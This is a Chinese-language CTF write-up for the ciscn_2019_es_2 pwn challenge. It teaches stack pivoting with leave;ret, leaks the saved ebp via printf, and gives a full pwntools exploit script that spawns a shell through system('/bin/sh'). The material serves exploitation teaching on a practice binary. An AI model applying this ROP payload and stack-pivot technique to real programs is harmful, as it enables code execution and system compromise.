這道題用來做棧遷移的例題真是再合適不過了
查看防護
main函數
存在hack函數,執行系統命令echo flag。沒有binsh,需要自己寫入
vuln函數
很明顯是棧溢出,但是溢出的空間不足。read大小為0x30,s變量和ebp距離為0x28。只能覆蓋ebp和ret。
因此使用棧遷移解決棧空間不足的問題。
把rop鏈寫棧上,首先利用printf獲取上個棧幀的ebp。printf遇到00就會截斷,如果我們輸入的內容正好把ebp前面的區域完全覆蓋,
printf就會順便把ebp帶出來。
0x48-0x10等於s距ebp的偏移0x38
第二次read寫入rop
payload2='a'*4+p32(sys)+p32(0xdeadbeef)+p32(ebp-0x28)+"/bin/sh"
payload2=payload2.ljust(0x28,'\x00')
payload2+=p32(ebp-0x38)+p32(leave_ret)
直接看payload晦澀難懂,所以我附上調試過程
棧遷移核心思想就是利用leave和ret轉移ebp和esp。leave和ret常用於復原棧
leave=mov esp,ebp
pop ebp
ret=pop eip
紅色箭頭所指地址是執行leave之后的對應的ebp和esp
可以看到結果確實如此。這時可能你會注意到一個問題,那就是ebp地址比esp地址小。這其實無傷大雅,
因為我們最終目的是通過esp控制eip。ebp只是用來間接定位,
執行ret后的結果
eip發生了跳轉
接下來執行的就是我們寫入的leave_ret(用哪個函數里的leave_ret都行,我選擇的是hack函數里的)
和前面的流程一樣,我們直接看leave后的結果
非常amazing啊,esp指向了我們寫入的system,接下來的ret就會使eip指向system函數。
現在我們回過頭看payload,就不難理解前面padding的aaaa的作用了。ebp-0x38指向aaaa的地址。aaaa實際就是leave_ret后的ebp指向地址的內容,
可以起到定位的作用。因為接下來我們輸入的leave_ret會使esp等於ebp后面的地址,
而此時ebp后面的地址是system。之后就能getshell了
順便一提,接收printf返回的ebp前要先recv前面read輸入的內容
exp:
1 #!/usr/bin/python 2 from pwn import * 3 4 #a=remote("node3.buuoj.cn",26501) 5 a=process("ciscn_2019_es_2") 6 context(arch='i386',os='linux',log_level='debug') 7 8 sys=0x8048400 9 leave_ret=0x08048562 10 11 a.recvuntil("Welcome, my friend. What's your name?") 12 payload='a'*0x20+'b'*8 13 a.send(payload) 14 a.recvuntil("bbbbbbbb") 15 ebp=u32(a.recv(4)) 16 print (hex(ebp)) 17 payload2='a'*4+p32(sys)+p32(0xdeadbeef)+p32(ebp-0x28)+"/bin/sh" 18 payload2=payload2.ljust(0x28,'\x00') 19 payload2+=p32(ebp-0x38)+p32(leave_ret) 20 print (payload2) 21 #gdb.attach(a) 22 a.send(payload2) 23 24 a.interactive()